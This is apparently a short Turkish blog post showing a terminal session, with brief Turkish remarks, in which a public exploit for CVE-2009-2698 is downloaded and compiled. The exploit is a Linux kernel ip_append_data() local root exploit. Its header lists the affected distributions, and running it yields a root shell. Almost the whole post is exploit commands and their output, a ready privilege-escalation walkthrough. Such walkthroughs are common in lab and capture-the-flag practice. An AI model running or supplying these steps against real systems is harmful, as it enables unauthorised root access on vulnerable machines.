HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/x-csrc]
0K .. 100% 360.08 MB/s
16:09:51 (360.08 MB/s) - `9542.c' saved [2643/2643]
ls
9542.c
Harika! Şimdi derleyelim.
head -n 20 9542.c
/*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
**
** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** Thankful to them.
**
** --
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
** sh-3.1# id
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
** sh-3.1#
** --
mv 9542.c 0x82-CVE-2009-2698.c
gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
0x82-CVE-2009-2698.c:109:28: warning: no newline at end of file
sh: no job control in this shell
sh-3.00# whoami
root
sh-3.00# Ve root!
İlk Yorumu Siz Yapın